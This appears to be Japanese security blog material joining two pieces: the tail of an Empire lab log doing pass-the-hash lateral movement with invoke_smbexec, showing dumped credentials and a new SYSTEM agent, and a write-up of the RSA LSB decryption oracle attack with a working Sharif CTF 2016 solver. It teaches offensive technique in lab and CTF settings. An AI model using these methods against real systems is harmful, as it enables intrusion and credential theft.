(Empire: powershell/lateral_movement/invoke_smbexec) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       pentest.local            user             victim           e82a5afbaa5f49c9a9e375430f3cdf05
  2       hash       pentest.local            VICTIM$          victim           60b2fb46b19173f585d481c181b61d70
  3       plaintext  pentest.local            user             victim           Vict1m3

(Empire: powershell/lateral_movement/invoke_smbexec) > set CredID 1
(Empire: powershell/lateral_movement/invoke_smbexec) > set ComputerName 192.168.12.1
(Empire: powershell/lateral_movement/invoke_smbexec) > set Username user
(Empire: powershell/lateral_movement/invoke_smbexec) > set Domain PENTEST
(Empire: powershell/lateral_movement/invoke_smbexec) > set hash e82a5afbaa5f49c9a9e375430f3cdf05
[!] Invalid option specified.
(Empire: powershell/lateral_movement/invoke_smbexec) > set Hash e82a5afbaa5f49c9a9e375430f3cdf05
(Empire: powershell/lateral_movement/invoke_smbexec) > set Listener http
(Empire: powershell/lateral_movement/invoke_smbexec) > execute
[*] Tasked 85VHTSNY to run TASK_CMD_WAIT
[*] Agent 85VHTSNY tasked with task ID 2
[*] Tasked agent 85VHTSNY to run module powershell/lateral_movement/invoke_smbexec
(Empire: powershell/lateral_movement/invoke_smbexec) > 

モジュールの使い方は一緒です、必要な情報をひたすら埋めていきます。

実行した結果は下のようになります。infoと打つことで別のPCに移動していることが確認できます。 ※前のagentの時にinfoと打ってないのでわかりにくいですが移動できています。internal_ipの値がそれを証明しています

[*] Agent 85VHTSNY returned results.
Command executed with service TIPCPSXLXSJTFJEJWAWB on 192.168.12.1


[*] Valid results returned by 192.168.12.10
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.1
[*] New agent 7NUPWBKG checked in
[+] Initial agent 7NUPWBKG from 192.168.12.1 now active (Slack)
[*] Sending agent (stage 2) to 7NUPWBKG at 192.168.12.1

(Empire: powershell/lateral_movement/invoke_smbexec) > interact 7NUPWBKG
(Empire: 7NUPWBKG) > info

[*] Agent info:

    nonce               7180758306521210
    jitter              0.0
    servers             None
    internal_ip         192.168.12.1
    working_hours       
    session_key         X-Tv+%o=mq_[G:h~0DH6Owajuf`z&.Vs
    children            None
    checkin_time        2018-08-17 15:22:26
    hostname            WIN-LIL2GIC6EFI
    id                  3
    delay               5
    username            PENTEST\SYSTEM
    kill_date           
    parent              None
    process_name        powershell
    listener            http
    process_id          1664
    profile             /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
    os_details          Microsoft Windows Server 2012 R2 Datacenter ???
    lost_limit          60
    taskings            None
    name                7NUPWBKG
    language            powershell
    external_ip         192.168.12.1
    session_id          7NUPWBKG
    lastseen_time       2018-08-17 15:22:38
    language_version    4
    high_integrity      1

(Empire: 7NUPWBKG) > 

対策

さて今回の実験でRATを実行したPCは条件次第では別のPCに移れてしまいます。なのでわかった時点で隔離しましょう。まずはネットワークを切りましょう。以上

LSB Decryption Oracle Attack

まえおき

LSB Oracle Attackについての記事です。この記事は証明ではなく、この攻撃が成立する性質についての理論解説になります。

2分探索によって元の暗号文が得られるのですが、なぜ2分探索を利用することができるのかということの解説ではなく、2分探索で攻撃成功するのはなぜかということの解説になります。

簡単に言うと、ある条件のときにこんな面白い性質(LSB Decryption Oracle Attack)があるけれど、なぜこの性質があるのかという説明になります。

この記事ではRSA暗号の平文をm, 暗号文をc,公開鍵はne,秘密鍵d,p,qとして説明をします

前提知識

RSAの暗号の前提と剰余算に関しての前提となる式を書いておく。

以下の式はLSB Decryption Oracle Attackを導出するのに利用するので、式の展開でなぜこうなるのかの説明がなければこの式を使っている

RSA暗号の前提

暗号化:c=m^{e}\ mod\ n

暗号化関数:enc(m)=m^{e}\ mod\ n

復号: m=c^{d}\ mod\ n

復号関数:dec(c)=c^{d}\ mod\ n

このように暗号化・復号しているので以下の等式も成り立つ

 c=(c^{d})^{e}\ mod\ n

剰余算で使える式

等式: (a\ mod\ n)\ mod\ n\ =\ a\ mod\ n

分配則:  ab\ mod\ n\ = (\ (a\ mod\ n)(b\ mod\ n)\ )\ mod\ n

LSB Oracle Attack(LSB Leak Attack)の概要

LSB Oracle Attackとは任意の暗号文を復号した結果の最下位1bitが分かるときに平文を求めることができるという攻撃手法である。

かみ砕くと任意の暗号文の偶奇が分かるとき、ある暗号文の平文を求めることが可能となる攻撃手法である。

LSB Decryption Oracle Attackの条件

この攻撃を行うにはいくつかの条件が必要である

暗号文c, 公開鍵n, e, そして f(x)=dec(x)\ mod\ 2となる関数fを攻撃者は持っている必要がある。

またこの攻撃ではcを復号した結果のmはわかるが、秘密鍵d,p,qを知ることはできない

LSB Decryption Oracle Attackの理論

まずenc(km)について考える。

enc(km)\ =\ (km)^{e}\ mod\ n\ =\ k^{e}m^{e}\ mod\ n\ =\ k^{e}c\ mod\ nが成り立つ

次にk=2の時を考える.k=2の時の関数fを考えることで2分探索が成り立つことがわかる。実際には2^{i}についてのfを計算することでmの範囲が狭まり,2分探索によって平文を求めることが可能となる

 a=2^{e}\ mod\ nとすると f(a^{i}c)=(2^{i}m\ mod\ n)\ mod\ 2

さてここでRSA暗号の性質から以下の2式が成り立つ

  •  0 \leq m \lt n
  • 0 \leq m  \lt 2(n-1)\ \  (n \gt 2)

第一式は大前提です。RSAの平文はnより小さいです. nは大きい素数であるのでn > 2が成り立ちます。またとするとn < 2(n-1)なので第二式が成り立ちます。

ここからi=1,2,3...と増やしていくことでmの範囲を狭めていく。

i=1の時

 f(ac)=(2m\ mod\ n)\ mod\ 2

である.ここで2mが偶数であり,nが奇数であり,2m<2nであることから2mをnで割った商は1か0であることがわかる.

上記より,

f(ac)=1のときは2m\ mod\ n\ ⇒\ 2m \gt \ nが成り立つ.つまり \frac{n}{2} \ \lt \ m\ \lt nであり2m\ mod\ n=2m-n

f(ac)=0のときは2m\ mod\ n\ ⇒\ 2m\ \leq \ nが成り立つ.つまり 0 \ \leq \ m \leq \frac{n}{2}であり2m\ mod\ n=2m

i=2の時

f(a^{i}c)=(2^{2}m\ mod\ n)\ mod\ 2つまり f(ac)=(2(2m\ mod\ n)\ mod\ n)\ mod\ 2

ここではi=1の時のf(ac)の結果を用いる

f(ac)=1かつf(a^{2}c)=1のとき

\begin{align} f(a^{2}c)\ &=\ (2(2m\ mod\ n)\ mod\ n) \\ &=\ (2(2m-n)\ mod\ n) \\ &=\ (4m-2n-n) \\ &=\ 4m-3n \\ \end{align}

2m-nnより小さい,それにより2(2m-n) < 2nである.つまり2(2m-n)nで割った商も1か0にしかならなく,かつ2(2m-n)は偶数,nは奇数なため,f(a^{2}c)=1ならば上の式が成り立つ.これにより 4m\ \gt \ 3n⇒ m \gt \frac{3}{4}nが導き出されf(ac)=1を考えると \frac{3}{4}n \lt m \lt nとなる

このようにして残りの条件も書き出す

f(ac)=1かつf(a^{2}c)=0のとき

\begin{align} f(a^{2}c)\ &=\ (2(2m\ mod\ n)\ mod\ n) \\ &=\ (2(2m-n)\ mod\ n) \\ &=\ (4m-2n) mod\ n\\ &=\ 4m-2n \\ \end{align}

この結果より \frac{1}{2}n \lt m \leq \frac{3}{4}n

f(ac)=0かつf(a^{2}c)=1のとき

f(a^{2}c)\  =\ 4m\ mod\ n=\ 4m-nより \frac{1}{4}n \lt m \leq \frac{1}{2}n

f(ac)=0かつf(a^{2}c)=0のとき

f(a^{2}c)\  =\ 4m\ mod\ n=\ 4mより 0 \leq m \leq \frac{1}{4}n

となる

i=2以降

これ以降は同様の計算を行っていくことによりmの範囲が狭まり元の平文を求めることができる.

実際の問題(Sharif CTF LSB_Oracle)

理論が分かったところで実際の問題を解いてみる。今回はSharif CTF 2016の問題を解く。

与えられるのはexeの入った実行ファイルとpythonのファイル、実行ファイルはリンクを、pythonは直接示しておく

https://github.com/ctfs/write-ups-2016/tree/master/sharif-ctf-2016/crypto/lsb-oracle-150

#! /usr/bin/env python3
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long
n = -1  # get it from the provided EXE file
e = -1  # get it from the provided EXE file
flag = b'' # redacted
key = RSA.construct((n, e))
cipher = PKCS1_v1_5.new(key)
ctxt = bytes_to_long(cipher.encrypt(flag))
print(ctxt)
# output is:
# 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813

exeを動かすと、nとeは教えてくれます。また悪い罠にかかって下位1bitしか返せないと教えてくれます。 またpythonの中に暗号文はあるので、典型的なlsb_oracleです。

理論はすでに説明したので残りはコードだけ

# -*- coding:utf-8 -*-
# solver.py sharif-ctf lsb-oracle

from fractions import Fraction
from subprocess import Popen,PIPE
from math import ceil
from binascii import unhexlify

n = 120357855677795403326899325832599223460081551820351966764960386843755808156627131345464795713923271678835256422889567749230248389850643801263972231981347496433824450373318688699355320061986161918732508402417281836789242987168090513784426195519707785324458125521673657185406738054328228404365636320530340758959
e = 65537

def long_to_bytes (val, endianness='big'):
    width = val.bit_length()
    width += 8 - ((width % 8) or 8)
    fmt = '%%0%dx' % (width // 4)
    s = unhexlify(fmt % val)

    if endianness == 'little':
        s = s[::-1]

    return s

def get_oracle(c):
    p = Popen(['lsb_oracle.vmp.exe','/decrypt'], stdin=PIPE, stdout=PIPE,stderr=PIPE,encoding='utf8')
    #print("sent ciphertext\n"+ str(cc))
    result = p.communicate(str(c)+"\n-1")
    lsb = int(result[0][96])
    #print(lsb)
    return lsb

def generate_ciphertext(p):
    return pow(p,e,n)

def solver():
    decision = [0,Fraction(n)]
    i = 0
    c = 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813
    #c = generate_ciphertext(m)
    while decision[1] - decision[0] >= 1:
        i += 1
        print(i)
        cc = (c * pow(2,e,n)) % n
        oracle = get_oracle(cc)
        if oracle == 1:
            decision[0] = Fraction(sum(decision)/2)
        else:
            decision[1] = Fraction(sum(decision)/2)
        c = cc
    return ceil(decision[0])
        


if __name__ == '__main__':
    ans = solver()
    print(long_to_bytes(ans))

このコードを実行すると

> python solver.py
1
2
(snip)
1024
b'\x02\xa9\x12\xa7uA\x94\x8e\x8c2\xd5(\xda\x1eq?\xf7\xd0TL\xe8\xde1$\xbf\xe4w\xe1\x18\x12\x1f\xef\x03\x8b{\x7f\xb2\x9c\xa6Bs\xd2\xfe&\xe8+k7\xd8\xe7\xa5\x0b\xaf\xa8R\x12\x93\x0e,\xdfp\xff\x9a\xe7\x9b\xbduN4\x85I\xde3\x07\xb2n\xa4\xdb"\xd5\xfaf\x84\x00
SharifCTF{65d7551577a6a613c99c2b4023039b0a}'

という感じでflagを入手することが可能である。

おわりに

計算ミスや表記ミスがあったら教えてください

参考

LSB Leak Attackを実装した

plain RSAに対するLSB decryption oracle attackをやってみる - ももいろテクノロジー